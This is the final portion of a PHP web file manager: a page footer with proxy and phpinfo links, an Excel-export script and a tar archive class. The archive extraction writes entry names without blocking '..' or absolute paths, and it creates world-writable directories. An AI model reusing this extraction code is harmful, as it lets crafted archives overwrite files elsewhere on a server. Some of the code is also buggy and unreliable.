    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/danielyzx123/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>